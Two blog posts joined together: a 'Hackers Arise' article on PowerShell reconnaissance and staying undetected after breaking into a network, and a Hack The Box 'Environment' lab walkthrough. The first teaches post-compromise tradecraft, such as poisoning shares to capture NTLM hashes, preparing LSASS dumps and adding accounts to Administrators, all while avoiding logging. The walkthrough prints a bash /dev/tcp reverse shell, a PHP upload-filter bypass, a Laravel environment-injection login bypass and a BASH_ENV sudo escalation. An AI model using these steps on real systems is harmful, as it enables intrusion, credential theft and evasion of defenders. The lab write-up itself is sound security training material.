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PowerShell for Hackers: Survival Edition, Part 1

25 September 2025 at 15:27

Welcome back, cyberwarriors.

We’re continuing our look at how PowerShell can be used in offensive operations, but this time with survival in mind. When you’re operating in hostile territory, creativity and flexibility keep you alive. PowerShell is a powerful tool and how well it serves you depends on how cleverly you use it. The more tricks you know, the better you’ll be at adapting when things get tense. In today’s chapter we’re focusing on a core part of offensive work, which is surviving while you’re inside the target environment. These approaches have proven themselves in real operations. The longer you blend in and avoid attention, the more you can accomplish.

We’ll split this series into several parts. This first piece is about reconnaissance and learning the environment you’ve entered. If you map the perimeter and understand the scope of your target up front, you’ll be far better placed to move into exploitation without triggering traps defenders have set up. It takes patience. As OTW says, true compromises usually require time and persistence. Defenders often rely on predictable detection patterns, and that predictability is where many attackers get caught. Neglecting the basics is a common and costly mistake.

When the stakes are high, careless mistakes can ruin everything. You can lose access to a target full of valuable information and damage your reputation among other hackers. That’s why we made this guide to help you use PowerShell in ways that emphasize staying undetected and keeping access. Every move should be calculated. Risk is part of the job, but it should never be reckless. That’s also why getting comfortable with PowerShell matters, as it gives you the control and flexibility you need to act professionally.

If you read our earlier article PowerShell for Hackers: Basics, then some of the commands in Part 1 will look familiar. In this article we build on those fundamentals and show how to apply them with survival and stealth as the priority.

Basic Reconnaissance

Hostname

Once you have access to a host, perhaps after a compromise or phishing attack, the first step is to find out exactly which system you have landed on. That knowledge is the starting point for planning lateral movement and possible domain compromise:

PS > hostname

running hostname command in powershell

Sometimes the hostname is not very revealing, especially in networks that are poorly organized or where the domain setup is weak. On the other hand, when you break into a large company’s network, you’ll often see machines labeled with codes instead of plain names. That’s because IT staff need a way to keep track of thousands of systems without getting lost. Those codes aren’t random, they follow a logic. If you spend some time figuring out the pattern, you might uncover hints about how the company structures its network.

System Information

To go further, you can get detailed information about the machine itself. This includes whether it is domain-joined, its hardware resources, installed hotfixes, and other key attributes.

PS > systeminfo

running systeminfo in powershell

This command is especially useful for discovering the domain name, identifying whether the machine is virtual, and assessing how powerful it is. A heavily provisioned machine is often important. Just as valuable is the operating system type. For instance, compromising a Windows server is a significant opportunity. Servers typically permit multiple RDP connections and are less likely to be personal workstations. This makes them more attractive for techniques such as LSASS and SAM harvesting. Servers also commonly host information that is valuable for reconnaissance, as well as shares that can be poisoned with malicious LNK files pointing back to your Responder.

Once poisoned, any user accessing those shares automatically leaks their NTLMv2 hashes to you, which you can capture and later crack using tools like Hashcat.

OS Version

If your shell is unstable or noninteractive and you cannot risk breaking it with systeminfo. Here is your alternative:

PS > Get-CimInstance -ClassName Win32_OperatingSystem | Select-Object Caption

finding out os version in powershell

Different versions of Windows expose different opportunities for abuse, so knowing the precise version is always beneficial.

Patches and Hotfixes

Determining patch levels is important. It tells you which vulnerabilities might still be available for exploitation. End-user systems tend to be updated more regularly, but servers and domain controllers often lag behind. Frequently they lack antivirus protection, still run legacy operating systems like Windows Server 2012 R2, and hold valuable data. This makes them highly attractive targets.

Many administrators mistakenly believe isolating domain controllers from the internet is sufficient security. The consequence is often unpatched systems. We once compromised an organization in under 15 minutes with the NoPac exploit, starting from a low-privileged account, purely because their DC was outdated.

To review installed hotfixes:

PS > wmic qfe get Caption,Description,HotFixID,InstalledOn

finding hotfixes with powershell

Remember, even if a system is unpatched, modern antivirus tools may still detect exploitation attempts. Most maintain current signature databases. 

Defenses

Before proceeding with exploitation or lateral movement, always understand the defensive posture of the host.

Firewall Rules

Firewall configurations can reveal why certain connections succeed or fail and may contain clues about the broader network. You can find this out through passive reconnaissance: 

PS > netsh advfirewall show allprofiles

finding firewall rules with powershell

The output may seem overwhelming, but the more time you spend analyzing rules, the more valuable the information becomes. As you can see above, firewalls can generate logs that are later collected by SIEM tools, so be careful before you initiate any connection.

Antivirus

Antivirus software is common on most systems. Since our objective here is to survive using PowerShell only, we won’t discuss techniques for abusing AV products or bypassing AMSI, which are routinely detected by those defenses. That said, if you have sufficient privileges you can query installed security products directly to learn what’s present and how they’re configured. You might be lucky to find a server with no antivirus at all, but you should treat that as the exception rather than the rule

PS > Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct

finding the antivirus product on windows with powershell

This method reliably identifies the product in use, not just Microsoft Defender. For more details, such as signature freshness and scan history run this:

PS > Get-MpComputerStatus

getting a detailed report about the antivirus on windows with powershell

To maximize survivability, avoid using malware on these machines. Even if logging is not actively collected, you must treat survival mode as if every move is observed. The lack of endpoint protection does not let you do everything. We saw people install Gsocket on Linux boxes thinking it would secure access, but in reality network monitoring quickly spotted those sockets and defenders shut them down. Same applies to Windows.

Script Logging

Perhaps the most important check is determining whether script logging is enabled. This feature records every executed PowerShell command.

PS > Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"

checking script logging in powershell

If EnableScriptBlockLogging is set to 1, all your activity is being stored in the PowerShell Operational log. Later we will show you strategies for operating under such conditions.

Users

Identifying who else is present on the system is another critical step.

The quser command is user-focused, showing logged-in users, idle times, and session details:

PS > quser

running quser command in powershell

Meanwhile, qwinsta is session-focused, showing both active and inactive sessions. This is particularly useful when preparing to dump LSASS, as credentials from past sessions often remain in memory. It also shows the connection type whether console or RDP.

PS > qwinsta

running qwinsta command in powershell

Network Enumeration

Finding your way through a hostile network can be challenging. Sometimes you stay low and watch, sometimes you poke around to test the ground. Here are the essential commands to keep you alive.

ARP Cache

The ARP table records known hosts with which the machine has communicated. It is both a reconnaissance resource and an attack surface:

PS > arp -a

running arp to find known hosts

ARP entries can reveal subnets and active hosts. If you just landed on a host, this could be valuable.

Note: a common informal convention is that smaller organizations use the 192.168.x.x address space, mid-sized organizations use 172.16.x.x–172.31.x.x, and larger enterprises operate within 10.0.0.0/8. This is not a rule, but it is often true in practice.

Known Hosts

SSH is natively supported on modern Windows but less frequently used, since tools like PuTTY are more common. Still, it is worth checking for known hosts, as they might give you insights about the network segmentation and subnets:

PS > cat %USERPROFILE%\.ssh\known_hosts

Routes

The route table exposes which networks the host is aware of, including VLANs, VPNs, and static routes. This is invaluable for mapping internal topology and planning pivots:

PS > route print

finding routes with route print

Learning how to read the output can take some time, but it’s definitely worth it. We know many professional hackers that use this command as part of their recon toolbox.

Interfaces

Knowing the network interfaces installed on compromised machines helps you understand connectivity and plan next steps. Always record each host and its interfaces in your notes:

PS > ipconfig /all

showing interfaces with ipconfig all

Maintaining a record of interfaces across compromised hosts prevents redundant authentication attempts and gives a clearer mindmap of the environment.

Net Commands

The net family of commands remains highly useful, though they are often monitored. Later we will discuss bypass methods. For now, let’s review their reconnaissance value.

Password Policy

Knowing the password policy helps you see if brute force or spraying is possible. But keep in mind, these techniques are too noisy for survival mode:

PS > net accounts /domain

Groups and Memberships

Local groups, while rarely customized in domain environments, can still be useful:

PS > net localgroup

listing local groups with powershell

Domain groups are far more significant:

PS > net group /domain

Checking local Administrators can show privilege escalation opportunities:

PS > net localgroup Administrators

listing memebers of a local group with powershell

Investigating domain group memberships often reveals misconfigured privileges:

PS > net group <group_name> /domain

With sufficient rights, groups can be manipulated:

PS > net localgroup Administrators hacker /add

PS > net group "Marketing" user /add /domain

interacting with localgroups with powershell

However, directly adding accounts to highly privileged groups like Domain Admins is reckless. These groups are closely monitored. Experienced hackers instead look for overlooked accounts, such as users with the “password not required” attribute or exposed credentials in LDAP fields.

Domain Computers and Controllers

Domain computer lists reveal scope, while controllers are critical to identify and study:

PS > net group "Domain Computers" /domain

PS > net group "Domain Controllers" /domain

Controllers in particular hold the keys to Active Directory. LDAP queries against them can return huge amounts of intelligence.

Domain Users

Enumerating users can give you useful account names. Administrators might include purpose-based prefixes such as “adm” or “svc” for service accounts, and descriptive fields sometimes contain role notes or credential hints.

PS > net user /domain

Shares

Shares are often overlooked by beginners, and that’s a common mistake. A share is basically a place where valuable items can be stored. At first glance it may look like a pile of junk full of unnecessary files and details. And that might be true, since these shares are usually filled with paperwork and bureaucratic documents. But among that clutter we often find useful IT data like passwords, VPN configurations, network maps and other items. Finding documents owned by assistants is just as important. Assistants usually manage things for their directors, so you’ll often find a lot of directors’ private information, passwords, emails, and similar items. Here is how you find local shares hosted on your computer:

PS > net share

listing local shares with net share with powershell

Remote shares can also be listed:

PS > net view \\computer /ALL

Enumerating all domain shares creates a lot of noise, but it can be done if you don’t have a clear understanding of the hosts. We do not recommend doing this. If the host names already give you enough information about their purpose, for example, “DB” or “BACKUP”, then further enumeration isn’t necessary. Going deeper can get you caught, even on a small or poorly managed network. If you decide to do it, here is how you can enumerate all shares in the domain:

PS > net view /all /domain[:domainname]

Interesting shares can be mounted for detailed searching:

PS > net use x: \\computer\share

You can search through documents in a share using specific keywords:

PS > Get-ChildItem -Recurse | Select-String -Pattern "keyword" -SimpleMatch -CaseSensitive:$false

Summary

That’s it for Part 1 of the Survival Series. We’re excited to keep this going, showing you different ways to work with systems even when you’re limited in what you can do. Sure, the commands you have are restricted, but survival sometimes means taking risks. If you play it too safe, you might get stuck and have no way forward. Time can work against you, and making bold moves at the right moment can pay off.

The goal of this series is to help you get comfortable with the Windows tools you have at your disposal for recon and pentesting. There will be times when you don’t have much, and you’ll need to make the most of what’s available.

In Part 2, we’ll go deeper looking at host inspections, DC queries, and the Active Directory modules that can give you even more insight. Having these native tools makes it easier to stay under the radar, even when things are going smoothly. As you get more experience, you’ll find that relying on built-in tools is often the simplest, most reliable way to get the job done.

The post PowerShell for Hackers: Survival Edition, Part 1 first appeared on Hackers Arise.

Hack The Box: Environment Machine Walkthough-Medium Difficulty

By: darknite
6 September 2025 at 10:58
Reading Time: 13 minutes

Introduction to Environment:

In this write-up, we will explore the “Environment” machine from Hack The Box, categorised as a Medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective for the Environment machine:

The goal of this walkthrough is to complete the “Environment” machine from Hack The Box by achieving the following objectives:

User Flag:

The login page identified a Marketing Management Portal, and testing the Remember parameter with --env=preprod bypassed authentication, exposing user emails, including hish@environment.htb. The application runs PHP 8.2.28 and Laravel 11.30.0, which is vulnerable to argument injection (CVE-2024-52301) and UniSharp Laravel Filemanager code injection, highlighting further exploitation potential. The profile upload feature allowed a PHP file bypass by appending a . to the extension (shell.php.); a crafted payload confirmed code execution via phpinfo(). A PHP reverse shell was uploaded and triggered, connecting back to a listener and allowing retrieval of the user flag with cat user.txt.

Root Flag:

To escalate privileges and obtain the root flag, we first examined the contents of /home/hish, discovering a backup file keyvault.gpg and a .gnupg directory containing GnuPG configuration and key files. By copying .gnupg to /tmp/mygnupg and setting appropriate permissions, we used GPG to decrypt keyvault.gpg, revealing credentials including the Environment.htb password (marineSPm@ster!!). User “hish” had sudo privileges to run /usr/bin/systeminfo with preserved environment variables (ENV and BASH_ENV), creating a vector for privilege escalation. A script dark.sh containing bash -p was crafted and made executable; executing sudo BASH_ENV=./dark.sh /usr/bin/systeminfo triggered the script under elevated privileges, spawning a root shell and effectively granting full control of the system, allowing access to the root flag.

Enumerating the Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oN nmap_initial.txt 10.10.10.10

Nmap Output:

# Nmap 7.94SVN scan initiated Sun May  4 08:43:11 2025 as: nmap -sC -sV -oA initial 10.10.11.67
Nmap scan report for 10.10.11.67
Host is up (0.019s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey: 
|   256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
|_  256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://environment.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun May  4 08:43:21 2025 -- 1 IP address (1 host up) scanned in 10.97 seconds

Analysis:

  • Port 22 (SSH): Secure Shell service for remote access, running OpenSSH 9.2p1 (Debian 12).
  • Port 80 (HTTP): Web server running nginx 1.22.1, redirecting to environment.htb

Web Enumeration on the Environment machine:

Perform web enumeration to discover potentially exploitable directories and files.

gobuster dir -u http://environment.htb -w /opt/directory-list-lowercase-2.3-small.txt 

Gobuster Output:

┌─[dark@parrot]─[~/Documents/htb/environment]
└──╼ $gobuster dir -u http://environment.htb -w /opt/directory-list-lowercase-2.3-small.txt 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://environment.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/directory-list-lowercase-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login                (Status: 200) [Size: 2391]
/upload               (Status: 405) [Size: 244852]
/storage              (Status: 301) [Size: 169] [--> http://environment.htb/storage/]
/up                   (Status: 200) [Size: 2125]
/logout               (Status: 302) [Size: 358] [--> http://environment.htb/login]
/vendor               (Status: 301) [Size: 169] [--> http://environment.htb/vendor/]
/build                (Status: 301) [Size: 169] [--> http://environment.htb/build/]
/mailing              (Status: 405) [Size: 244854]
Progress: 81643 / 81644 (100.00%)
===============================================================
Finished
===============================================================

Analysis:

  • login (200): Login page, likely entry point for authentication.
  • /upload (405): Upload functionality present but restricted (Method Not Allowed).
  • /storage (301): Redirects to http://environment.htb/storage/.
  • /up (200): Page accessible, may contain system or application status.
  • /logout (302): Redirects back to login page.
  • /vendor (301): Redirects to http://environment.htb/vendor/, likely framework/vendor files.
  • /build (301): Redirects to http://environment.htb/build/, may contain application build assets.
  • /mailing (405): Mailing functionality endpoint, but restricted (Method Not Allowed).

Exploration for the Environment Machine

The website displays a standard interface with no obvious points of exploitation.

The login page identifies the application as a Marketing Management Portal, but no valid credentials are available to test authentication.

Attackers can examine the PHP script at the /upload endpoint to gather potential hints. The application runs on PHP 8.2.28 with Laravel 11.30.0, which may expose version-specific vulnerabilities.

Laravel 11.30.0 Argument Injection Vulnerability (CVE-2024-52301) – Enumeration & PoC

Therefore, let’s research potential exploits for PHP 8.2.28 with Laravel 11.30.0.

Source: Laravel 11.30.0 Exploit: What You Need to Know

On the discovered website, attackers can exploit CVE-2024-52301, a Laravel 11.30.0 argument injection flaw triggered when register_argc_argv is enabled. By sending crafted query strings, they can inject arguments into the PHP environment, potentially gaining unauthorised access or executing arbitrary commands.. This vulnerability poses a high risk, especially in shared hosting, but administrators can mitigate it by disabling register_argc_argv in php.ini and hardening server configurations.

Enumeration and Proof-of-Concept Testing for CVE-2024-52301

We will test the login page with blind credential attempts to see if any weak or default accounts accept access.

This is how the request and response appear when viewed through Burp Suite.

The request packet includes a parameter Remember=false, and the server responds with Invalid Credentials, indicating failed authentication.

Therefore, the next step is to modify the parameter by changing Remember=false to Remember=true and observe the server’s response.

Unfortunately, modifying Remember=false to Remember=true did not bypass authentication, as the login attempt still failed.

The output appears similar to the reaction shown above, confirming that the change in the Remember parameter did not affect authentication.

Removing the Remember parameter from the request still results in the same response, indicating no change in authentication behavior.

This PHP snippet checks the value of the $remember parameter to determine whether the user should stay logged in. If $remember equals 'False', the variable $keep_loggedin is set to False, meaning the session will not persist after login. If $remember equals 'True', then $keep_loggedin is set to True, allowing the application to keep the user logged in across sessions. Essentially, it controls the “Remember Me” functionality during authentication.

Modify the remember parameter to use a value other than false or true.

This code first sets the $keep_loggedin flag based on the $remember parameter, enabling the “Remember Me” feature if applicable. It then checks whether the application is running in the preprod environment, and if so, it automatically logs in as the user with ID 1 by regenerating the session, setting the session user ID, and redirecting to the management dashboard—essentially a developer shortcut for testing. If not in preprod, the code proceeds to look up the user in the database by their email.

Source: CVE-2024-52301 POC

Bypassing Environment with ?–env=production

When the query string ?--env=production is added to the URL, it injects the argument --env=production into $_SERVER['argv'], which Laravel interprets through its environment detection mechanism. This forces the framework to treat the application as if it is running in a production environment, causing the @production directive in Blade templates to render <p>Production environment</p> as the output.

By adding the parameter --env=preprod to the request packet, it may trigger the application’s pre-production environment logic seen in the code, potentially bypassing normal authentication and granting direct access as the default user (ID 1).

After adding the --env=preprod parameter, the application redirected to the management dashboard, where a list of user accounts was revealed.The dashboard showed multiple email addresses, including cooper@cooper.com, bob@bobbybuilder.net, sandra@bullock.com, p.bowls@gmail.com, bigsandwich@sandwich.com, dave@thediver.com, dreynolds@sunny.com, will@goldandblack.net, and nick.m@chicago.com, which attackers could potentially use for authentication attempts or targeted attacks.

We identified a profile displaying the details Name: Hish and Email: hish@environment.htb. The profile also includes a feature that allows uploading a new picture, which may present an opportunity to test for file upload vulnerabilities.

To test how the application processes file uploads, we uploaded a random .png file through the profile’s picture upload functionality.

However, the upload attempt returned an error message in the browser: “Unexpected MimeType: application/x-empty”, indicating that the application rejected the file due to an invalid or unrecognised MIME type.

Renaming the uploaded file with a .php extension prompted the application to respond with “Invalid file detected,” confirming that server-side validation actively blocks direct PHP or executable uploads.

UniSharp Laravel Filemanager – Code Injection Vulnerability (CVE-2024-21546) PoC & Exploitation

The vulnerability occurs in the file upload feature, where attackers can circumvent the restrictions by adding a . after a PHP file (for example, filename.php.) while using an allowed MIME type. Even though the application blocks certain extensions like PHP or HTML and MIME types such as text/x-php, text/html, or text/plain, this trick enables malicious files to be uploaded successfully. Snyk rates this issue as Critical with a CVSS v3.1 score of 9.8 and High with a CVSS v4.0 score of 8.9.

Let’s research exploits targeting the UniSharp Laravel Filemanager upload functionality.

Version-Agnostic Testing for UniSharp Laravel File Upload Vulnerabilities

If the UniSharp Laravel Filemanager version is unknown, you can test uploads without relying on the version. First, upload safe files like .jpg or .png to confirm the endpoint works. Then, try potentially executable files like .php, .php., or .php.jpg and watch the server response. HTTP 200 may indicate a bypass. You can also tweak MIME types to test validation. Monitor responses (200, 403, 405) and see if uploaded files can execute code—this approach highlights risky upload behaviors without knowing the exact version.

Modify the PHP file’s name by adding a “.” after the .php extension (e.g., test.php.). Actively test whether the upload filter allows bypassing and if server-side code runs.

The upload bypass succeeded, and the application accepted the .php. file, indicating the filter can be bypassed. The uploaded payload may execute.

The GIF89a output shows that the uploaded file is being treated as an image rather than executed as PHP. Since GIF89a is the GIF header, the server is likely enforcing MIME type checks or serving uploads as static files. This behaviour prevents the embedded PHP code from running directly. A GIF–PHP polyglot can bypass validation by starting with a valid GIF header while containing PHP code for execution. Extension tricks like .php., .php%00.png, or encoding bypasses may also allow the server to process the file as PHP. If the server serves uploads only as images, an LFI vulnerability could include the uploaded file to execute the PHP payload.

File Upload & Reverse Shell

Since the earlier PHP extension bypass worked, the next logical step was to upload a file phpinfo(); to confirm code execution. Retrieving this file successfully displayed the PHP configuration page, verifying that arbitrary PHP code can indeed run on the server.

The uploaded file ran successfully, and the browser showed phpinfo() output, confirming the server processes the injected PHP code.

Set up a listener on your machine to catch the reverse shell

We successfully uploaded the PHP reverse shell payload, and executing it attempted to connect back to the listener, as demonstrated in the command example above.

The connection did not trigger.

We started a Python HTTP server to host the payload for the target system to retrieve.

User “hish” attempted to retrieve a file using curl from the machine but received a “File not found” response.

We consolidated all the bash commands into a new script file to simplify execution.

Let’s attempt to fetch shell.sh from our machine.

Unexpectedly, nothing was detected.

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Let’s run the bash command shown above

bash+-c+%27bash+-i+%3E%26+/dev/tcp/10.10.14.149/9007+0%3E%261%27

Surprisingly, it worked perfectly.

We can read the user flag with the command cat user.txt.

Escalate to Root Privileges Access

Privilege Escalation:

Since this user has read access, the contents of the directory at www-data/home/hish can be inspected. Inside the backup directory, we found a file named keyvault.gpg.

GnuPG Key Inspection

We discovered a .gnupg directory.

Within the .gnupg directory of the user hish, several key GnuPG files and directories are present, including openpgp-revocs.d for revoked keys, private-keys-v1.d containing the user’s private keys, pubring.kbx and its backup pubring.kbx~ for storing public keys, random_seed used by GnuPG for cryptographic operations, and trustdb.gpg, which maintains the trust database for verifying key authenticity.

Decrypting the Backup File with GPG

The /tmp directory is empty and contains no files of interest.

User “hish” copied the .gnupg directory to /tmp/mygnupg to simplify access and analysis, likely to inspect or manipulate GnuPG-related files, such as private keys or configuration data, in a more convenient temporary location.

The /tmp/mygnupg directory permissions were set to 700, restricting access so that only the owner can read, write, or execute its contents.

After copying, the /tmp/mygnupg directory exists, but it contains no files of interest.

The command gpg --homedir /tmp/mygnupg --list-secret-keys tells GnuPG to use the directory /tmp/mygnupg as its home and lists all secret (private) keys stored there. This allows the user to view available private keys without affecting the default GPG configuration.

Using GnuPG with the home directory set to /tmp/mygnupg, the command decrypts /home/hish/backup/keyvault.gpg and writes the decrypted content to /tmp/message.txt, leveraging the secret keys stored in that directory.

After some time, we successfully retrieved message.txt, which may contain potentially useful information.

The message.txt file contains a list of credentials for different accounts. Specifically, it shows a PayPal password (Ihaves0meMon$yhere123), an Environment.htb password (marineSPm@ster!!), and a Facebook password (summerSunnyB3ACH!!). These credentials may allow access to the corresponding accounts or services.

Accessing User Hish’s Privileges

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The password “marineSPm@ster!!” appears to belong to the Environment.htb account, as the other passwords correspond to PayPal and Facebook.

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We can connect using SSH.

Privilege Escalation with systeminfo

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The sudo -l Output for user “hish” on the “environment” host shows they can run /usr/bin/systeminfo with sudo privileges as any user. The default settings include env_reset, mail_badpass, a secure_path, and preservation of ENV and BASH_ENV variables via env_keep. This preservation of ENV and BASH_ENV creates a potential security vulnerability, as these variables can be manipulated to execute arbitrary commands, allowing “hish” to bypass restrictions and escalate privileges when running the allowed command.

User “hish” on the “environment” host runs commands to create a script named dark.sh containing bash -p, which spawns a privileged bash shell. First, echo 'bash -p' > dark.sh write the bash -p command into dark.sh. Then, chmod +x dark.sh grants execute permissions to the script. These steps prepare a malicious script for a potential privilege escalation exploit, likely to be used with a preserved environment variable, like BASH_ENV in a subsequent command, to bypass sudo restrictions and gain elevated privileges.

User “hish” on the “environment” host runs sudo BASH_ENV=./dark.sh /usr/bin/systeminfo to exploit the preserved BASH_ENV environment variable, as revealed by sudo -l. By setting BASH_ENV to point to the previously created dark.sh script (containing bash -p), the command triggers the execution of dark.sh when systeminfo runs with sudo privileges. Since bash -p spawns a privileged bash shell, this allows “hish” to gain elevated privileges, bypassing the restricted sudo permissions that only allow running /usr/bin/systeminfo, effectively achieving privilege escalation.

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We can read the user flag with the command cat user.txt.

The post Hack The Box: Environment Machine Walkthough-Medium Difficulty appeared first on Threatninja.net.

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